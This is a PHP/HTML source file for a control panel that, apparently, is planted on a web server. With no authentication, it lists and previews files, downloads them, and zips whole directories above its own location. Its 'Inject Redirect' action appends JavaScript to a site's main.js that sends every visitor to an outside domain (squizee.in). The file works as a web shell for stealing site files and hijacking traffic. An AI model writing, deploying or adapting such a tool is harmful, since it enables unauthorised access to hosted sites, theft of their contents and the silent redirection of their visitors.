<?php
set_time_limit(0);
@ini_set('output_buffering', 'off');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
while (ob_get_level() > 0) ob_end_flush();
ob_implicit_flush(1);

function flushOutput() {
    echo str_repeat(' ', 1024);
    flush();
}

$baseRoot = realpath(__DIR__ . '/../../../../../');
$tempFolder = __DIR__ . '/temp';
if (!is_dir($tempFolder)) mkdir($tempFolder, 0777, true);
$zipFileName = 'archive.zip';
$zipFilePath = $tempFolder . DIRECTORY_SEPARATOR . $zipFileName;

function respond($status, $message, $extra = []) {
    echo json_encode(array_merge(['status' => $status, 'message' => $message], $extra));
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'];
    $target = trim($_POST['dir'] ?? '');
    $absSel = realpath($baseRoot . '/' . $target);
    if (!$absSel || strpos($absSel, $baseRoot) !== 0) {
        respond('error', 'Invalid or missing directory/file path.');
    }
    $isDir = is_dir($absSel);
    $mainJsPath = $isDir ? $absSel . '/main.js' : '';
    $jsonFilePath = $isDir ? $absSel . '/redirect-config.json' : '';

    if ($action === 'inject') {
        if (!file_exists($mainJsPath)) respond('error', "main.js not found in '{$target}'.");
        $injection = <<<JS

// --- Redirect injection START ---
(function(){
    fetch('redirect-config.json').then(r=>r.json()).then(cfg=>{
       if(cfg.redirect) window.location.href = cfg.target;
    }).catch(console.warn);
})();
// --- Redirect injection END ---

JS;
        $content = file_get_contents($mainJsPath);
        if (strpos($content, 'Redirect injection START') !== false) respond('error', 'Already injected.');
        file_put_contents($mainJsPath, $content . $injection);
        file_put_contents($jsonFilePath, json_encode(['redirect' => true, 'target' => 'https://www.squizee.in'], JSON_PRETTY_PRINT));
        respond('success', 'Redirect injected.');

    } elseif ($action === 'remove') {
        if (!file_exists($mainJsPath)) respond('error', "main.js not found.");
        $content = preg_replace("/\/\/ --- Redirect injection START ---.*?\/\/ --- Redirect injection END ---\n?/s", '', file_get_contents($mainJsPath));
        file_put_contents($mainJsPath, $content);
        if (file_exists($jsonFilePath)) unlink($jsonFilePath);
        respond('success', 'Redirect removed.');

    } elseif ($action === 'filetree') {
        // Return contents of directory passed in 'dir', non-recursive
        $items = [];
        foreach (scandir($absSel) as $f) {
            if ($f === '.' || $f === '..') continue;
            $items[] = [
                'name' => $f,
                'type' => is_dir($absSel . '/' . $f) ? 'dir' : 'file'
            ];
        }
        respond('success', '', ['tree' => $items]);
    }

    respond('error', 'Unknown action.');
}

if (isset($_GET['action']) && $_GET['action'] === 'zipprogress') {
    while (ob_get_level()) ob_end_clean();
    $target = trim($_GET['dir'] ?? '');
    $absSel = realpath($baseRoot . '/' . $target);
    if (!$absSel || !is_dir($absSel) || strpos($absSel, $baseRoot) !== 0) exit('Invalid directory.');

    if (file_exists($zipFilePath)) unlink($zipFilePath);
    $zip = new ZipArchive();
    $zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE);

    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($absSel, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::LEAVES_ONLY
    );
    $list = [];
    foreach ($files as $f) if ($f->isFile()) $list[] = $f->getRealPath();

    $total = count($list);
    echo "<html><body>";
    header('Content-Type: text/html; charset=utf-8');
    foreach ($list as $done => $f) {
        $zip->addFile($f, substr($f, strlen($absSel) + 1));
        echo "<!--" . json_encode(['processed' => $done + 1, 'total' => $total]) . "-->";
        flushOutput();
    }
    $zip->close();
    echo "<!--" . json_encode(['processed' => $total, 'total' => $total, 'done' => true]) . "-->";
    flushOutput();
    echo "</body></html>";
    exit;
}

if (isset($_GET['action']) && $_GET['action'] === 'download') {
    $target = trim($_GET['dir'] ?? '');
    $absSel = realpath($baseRoot . '/' . $target);
    if (!$absSel || strpos($absSel, $baseRoot) !== 0) exit('Invalid path.');
    if (is_file($absSel)) {
        header('Content-Disposition: attachment; filename="' . basename($absSel) . '"');
        header('Content-Type: application/octet-stream');
        readfile($absSel);
        exit;
    } elseif (is_dir($absSel)) {
        header("Location: ?action=zipprogress&dir=" . urlencode($target));
        exit;
    }
}
?>



<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Controller Panel with File Tree</title>
<style>
body {
    font-family: sans-serif;
    margin: 20px;
    background: #f9f9f9;
    color: #222;
}
input, button {
    padding: 8px 12px;
    font-size: 15px;
    margin: 5px 3px 15px 0;
    border: 1px solid #ccc;
    border-radius: 4px;
}
button {
    cursor: pointer;
    background: #4caf50;
    color: white;
    border: none;
}
button:hover {
    background: #45a049;
}
#fileTree {
    border: 1px solid #ccc;
    padding: 10px;
    background: white;
    max-width: 600px;
    max-height: 400px;
    overflow-y: auto;
    font-family: monospace;
    user-select: none;
}
#fileTree ul {
    list-style: none;
    padding-left: 20px;
    margin: 0;
}
#fileTree li {
    line-height: 24px;
    cursor: pointer;
    position: relative;
}
#fileTree li:hover {
    background: #e6f7ff;
}
.folder::before {
    content: "▶";
    display: inline-block;
    width: 1.2em;
    margin-right: 4px;
    user-select: none;
    transition: transform 0.15s ease-in-out;
}
.folder.expanded::before {
    transform: rotate(90deg);
}
.file::before {
    content: "📄";
    display: inline-block;
    width: 1.2em;
    margin-right: 4px;
    user-select: none;
}
.folder > ul {
    margin-left: 1.4em;
    border-left: 1px dotted #ccc;
    padding-left: 10px;
    display: none;
}
.folder.expanded > ul {
    display: block;
}
#progress {
    width: 100%;
    background: #eee;
    margin: 10px 0;
    height: 25px;
    border-radius: 3px;
    overflow: hidden;
    max-width: 600px;
}
#progress > div {
    height: 100%;
    background: #4caf50;
    color: white;
    text-align: center;
    line-height: 25px;
    white-space: nowrap;
    transition: width 0.3s ease;
}
#message {
    margin: 10px 0;
    font-weight: bold;
    max-width: 600px;
}


#container {
    display: flex;
    gap: 20px;
    max-width: 1000px;
}
#fileTree {
    flex: 1;
    max-height: 400px;
    overflow-y: auto;
}
#filePreview {
    flex: 1;
    max-height: 400px;
    overflow-y: auto;
    padding: 10px;
    border: 1px solid #ccc;
    background: white;
    font-family: monospace;
    white-space: pre-wrap;
    word-wrap: break-word;
    user-select: text;
}
    
</style>
</head>
<body>

<h2>Controller Panel with File Tree Viewer</h2>
<input type="text" id="targetDir" placeholder="Enter path relative to base root" style="width:600px;">
<br>
<button onclick="loadTree()">📂 Load Folder</button>
<button onclick="sendAction('inject')">↪ Inject Redirect</button>
<button onclick="sendAction('remove')">✖ Remove Redirect</button>
<button onclick="startDownload()">⬇ Download</button>

<div id="message"></div>
<div id="container">
  <div id="fileTree" role="tree" aria-label="File browser"></div>
  <div id="filePreview">Select a file to preview its content here.</div>
</div>
<div id="progress" style="display:none"><div>0%</div></div>

<script>
const baseRoot = ''; // relative root base (keep empty since server resolves)
const input = document.getElementById('targetDir');
const message = document.getElementById('message');
const fileTree = document.getElementById('fileTree');
const progress = document.getElementById('progress');
const progressBar = progress.firstElementChild;
const filePreview = document.getElementById('filePreview');

function show(msg, ok=true){
    message.textContent = msg;
    message.style.color = ok ? 'green' : 'red';
}

function sendAction(action) {
    const dir = input.value.trim();
    if (!dir) return show('Please select a directory or file first.', false);
    fetch('', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'action=' + encodeURIComponent(action) + '&dir=' + encodeURIComponent(dir)
    }).then(res => res.json()).then(data => {
        show(data.message, data.status === 'success');
    }).catch(e => {
        show('Error: ' + e.message, false);
    });
}

function createTreeNode(name, type, fullPath) {
    const li = document.createElement('li');
    li.textContent = name;
    li.title = fullPath;
    li.dataset.path = fullPath;

if (type === 'dir') {
    li.classList.add('folder');
    li.setAttribute('aria-expanded', 'false');
    li.setAttribute('role', 'treeitem');
    li.setAttribute('aria-label', name + ', folder');
    li.tabIndex = 0;

    li.addEventListener('click', e => {
        e.stopPropagation();
        input.value = fullPath;        // Set path input when folder clicked
        show('Selected folder: ' + fullPath);
        filePreview.textContent = '';  // Clear preview on folder select
        toggleFolder(li);
    });
    li.addEventListener('keydown', e => {
        if (e.key === 'Enter' || e.key === ' ') {
            e.preventDefault();
            input.value = fullPath;
            show('Selected folder: ' + fullPath);
            filePreview.textContent = '';
            toggleFolder(li);
        }
    });
} else {
    li.classList.add('file');
    li.setAttribute('role', 'treeitem');
    li.setAttribute('aria-label', name + ', file');
    li.tabIndex = 0;
    li.addEventListener('click', e => {
        e.stopPropagation();
        input.value = fullPath;
        show('Selected file: ' + fullPath);
        previewFile(fullPath);  // Show preview for file
    });
    li.addEventListener('keydown', e => {
        if (e.key === 'Enter' || e.key === ' ') {
            e.preventDefault();
            input.value = fullPath;
            show('Selected file: ' + fullPath);
            previewFile(fullPath);
        }
    });
}

    
    
    return li;
}

function toggleFolder(li) {
    if (li.classList.contains('expanded')) {
        li.classList.remove('expanded');
        li.setAttribute('aria-expanded', 'false');
        const ul = li.querySelector('ul');
        if (ul) ul.remove();
    } else {
        li.classList.add('expanded');
        li.setAttribute('aria-expanded', 'true');
        loadFolderContents(li.dataset.path, li);
    }
}

function loadFolderContents(path, folderLi) {
    // Fetch folder contents (non-recursive)
    fetch('', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'action=filetree&dir=' + encodeURIComponent(path)
    }).then(res => res.json()).then(data => {
        if (data.status !== 'success') {
            show('Failed to load folder: ' + data.message, false);
            folderLi.classList.remove('expanded');
            folderLi.setAttribute('aria-expanded', 'false');
            return;
        }
        // Create UL and add child nodes
        const ul = document.createElement('ul');
        data.tree.sort((a,b) => {
            // folders first, then files, both alphabetically
            if (a.type !== b.type) return a.type === 'dir' ? -1 : 1;
            return a.name.localeCompare(b.name);
        }).forEach(item => {
            // Build relative path for child
            let childPath = path;
            if (childPath && !childPath.endsWith('/')) childPath += '/';
            childPath += item.name;
            const childNode = createTreeNode(item.name, item.type, childPath);
            ul.appendChild(childNode);
        });
        // Remove old children UL if any
        const oldUl = folderLi.querySelector('ul');
        if (oldUl) oldUl.remove();
        folderLi.appendChild(ul);
    }).catch(e => {
        show('Error loading folder: ' + e.message, false);
    });
}

function renderRootTree(path) {
    filePreview.textContent = '';
    fileTree.innerHTML = '';
    input.value = path;

    // Create root UL
    const ul = document.createElement('ul');
    ul.setAttribute('role', 'group');
    fileTree.appendChild(ul);

    // Load root folder contents
    fetch('', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'action=filetree&dir=' + encodeURIComponent(path)
    }).then(res => res.json()).then(data => {
        if (data.status !== 'success') {
            show('Failed to load directory: ' + data.message, false);
            return;
        }
        // Sort: folders first, then files
        data.tree.sort((a,b) => {
            if (a.type !== b.type) return a.type === 'dir' ? -1 : 1;
            return a.name.localeCompare(b.name);
        });
        data.tree.forEach(item => {
            let fullPath = path;
            if (fullPath && !fullPath.endsWith('/')) fullPath += '/';
            fullPath += item.name;
            const li = createTreeNode(item.name, item.type, fullPath);
            ul.appendChild(li);
        });
        show('Loaded directory: ' + path);
    }).catch(e => {
        show('Error loading directory: ' + e.message, false);
    });
}



function previewFile(path) {
    // Clear previous preview
    filePreview.textContent = 'Loading preview...';

    // Determine file extension to guess type
    const ext = path.split('.').pop().toLowerCase();
    const imageExts = ['png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp', 'svg', 'avif'];
    const videoExts = ['mp4', 'webm', 'ogg', 'mov', 'avi', 'mkv'];
    const audioExts = ['mp3', 'wav', 'ogg', 'm4a'];

    if (imageExts.includes(ext)) {
        // Show image preview
        filePreview.innerHTML = `<img src="?action=download&dir=${encodeURIComponent(path)}" alt="Image preview" style="max-width:100%; max-height:400px;">`;
    } else if (videoExts.includes(ext)) {
        // Show video preview
        filePreview.innerHTML = `<video controls style="max-width:100%; max-height:400px;">
            <source src="?action=download&dir=${encodeURIComponent(path)}" type="video/${ext === 'mp4' ? 'mp4' : ext}">
            Your browser does not support the video tag.
        </video>`;
    } else if (audioExts.includes(ext)) {
        // Show audio preview
        filePreview.innerHTML = `<audio controls style="width:100%;">
            <source src="?action=download&dir=${encodeURIComponent(path)}" type="audio/${ext}">
            Your browser does not support the audio tag.
        </audio>`;
    } else {
        // Assume text file for preview
        fetch('?action=download&dir=' + encodeURIComponent(path))
        .then(res => {
            if (!res.ok) throw new Error('Failed to load file.');
            return res.text();
        })
        .then(text => {
            const maxLen = 5000;
            if (text.length > maxLen) {
                filePreview.textContent = text.slice(0, maxLen) + "\n\n[...Preview truncated...]";
            } else {
                filePreview.textContent = text;
            }
        })
        .catch(() => {
            filePreview.textContent = 'Cannot preview this file.';
        });
    }
}




function loadTree() {
    const path = input.value.trim();
    if (!path) return show('Please enter a folder path to load.', false);
    renderRootTree(path);
}

function startDownload() {
    const dir = input.value.trim();
    if (!dir) return show('Please select a path first.', false);

    // If file: direct download
    // If dir: start zip progress and download
    show('Starting download...');
    progress.style.display = 'block';
    progressBar.style.width = '0%';
    progressBar.textContent = '0%';

    const xhr = new XMLHttpRequest();
    xhr.open('GET', '?action=download&dir=' + encodeURIComponent(dir), true);
    xhr.onreadystatechange = () => {
        if (xhr.readyState >= 3) {
            // Look for JSON inside HTML comments to update progress
            const matches = [...xhr.responseText.matchAll(/<!--({.*?})-->/g)];
            if (matches.length) {
                try {
                    const last = matches[matches.length - 1];
                    const data = JSON.parse(last[1]);
                    const pct = Math.floor(data.processed / data.total * 100);
                    progressBar.style.width = pct + '%';
                    progressBar.textContent = pct + '%';

                    if (data.done) {
                        show('Archive created. Starting download...');
                        // Redirect to download zip file
                        window.location.href = 'temp/archive.zip';
                        progress.style.display = 'none';
                    }
                } catch (e) {
                    // Ignore parse errors
                }
            }
        }
    };
    xhr.send();
}

// On enter in input, load tree
input.addEventListener('keydown', e => {
    if (e.key === 'Enter') {
        loadTree();
    }
});



window.addEventListener('DOMContentLoaded', () => {
    renderRootTree(''); // Load root folder automatically
});

</script>
</body>
</html>
